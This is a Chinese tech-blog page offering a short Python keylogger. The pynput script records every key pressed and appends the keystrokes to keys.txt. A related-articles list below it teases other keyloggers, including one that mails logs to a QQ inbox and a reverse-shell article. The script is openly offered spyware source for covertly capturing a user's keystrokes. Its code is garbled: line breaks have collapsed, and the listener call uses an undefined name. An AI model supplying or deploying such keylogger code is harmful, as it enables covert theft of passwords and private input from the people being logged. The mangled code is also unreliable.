Pyrthon写一个键盘记录器

news/2024/11/9 2:10:27/

目的:编写一个Python脚本,将用户按下的所有键保存在一个文本文件中。

提示:pynput是Python中的一个库,用于控制键盘和鼠标的移动,它也可以用于制作键盘记录器。简单地读取用户按下的键,并在一定数量的键后将它们保存在一个文本文件中。


from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()keys=[]
def on_press(key):global keys#keys.append(str(key).replace("'",""))string = str(key).replace("'","")keys.append(string)main_string = "".join(keys)print(main_string)if len(main_string)>15:with open('keys.txt', 'a') as f:f.write(main_string)   keys= []     
def on_release(key):if key == Key.esc:return Falsewith listener(on_press=on_press,on_release=on_release) as listener:listener.join()```

http://www.ppmy.cn/news/153456.html

相关文章

什么是键盘记录器?

键盘记录器从字面上来解释,就是记录监控输入的仪器,可监控到键盘的每一次敲击,有基于硬件和软件两种类型。很多时候会被用于不正当的用途,用来盗取别人的密码信息。可能是通过U口插入的U盘,或者是网络上通过邮件&#…

python 实现的键盘记录器 小功能

目录 一、安装pynput模块 二、编写代码 1、引入键盘模块 2、读取键盘操作

C# 键盘记录器

利用HOOK技术来做一个键盘记录器,看看一天下来,我们点击了多少次键盘,哪些键的使用频率最高。 实现功能: 使用C#实现一个键盘记录器 开发环境: 开发工具: Visual Studio 2013 .NET Framework版本&#xff1…

键盘记录器(有发送到指定qq邮箱的功能。附源代码及使用教程,免费下载)

简介 本程序由C和python实现,C实现键盘记录,python实现发送邮件。 使用教程 1.kb.cpp编译后生成kb.exe 2.进QQ邮箱,设置收、发件人开启smtp服务,并进入收件人邮箱设置,获取授权码。把收发件人的邮箱以及授权码填入s…

反弹shell和键盘记录器实现

环境:win10(测试机),阿里云服务器(服务端) 另附:从局域网监控到广域网实时监控的实现     反弹shell(reverse shell),就是控制端监听在某 TCP/UDP 端口&…

hook:实现简单的键盘记录器

说到hook技术,开始我真是一头雾水! 不久前看到一篇博客,实现 了一个简单的键盘记录器。我从中颇为受益!今天就来和大家分享一下我的一个小例子,并说说我的感悟! 首先就从main()函数…

kali键盘记录

严正声明:本文仅限技术讨论与分享,严禁用于非法途径。 校园网会影响实验,防火墙也是。 准备一台windows 7 x64的虚拟机,并配置好网络: 可知IP地址为192.168.142.135 准备一台kali linux的虚拟机,并配置好…

Python编写键盘记录器

用Python写的键盘记录器,记录我们所敲击的按键值,当我们攻破一台电脑,可以运行这个脚本,记录服务端管理人员的键盘操作.用下面代码需要安装Python-Xlib库,我用atp-get和pip安装都没有成功,后直接下载python-xlib-0.15rc1源码才安装成功. python-xlib-0.15rc1下载地址:http://d…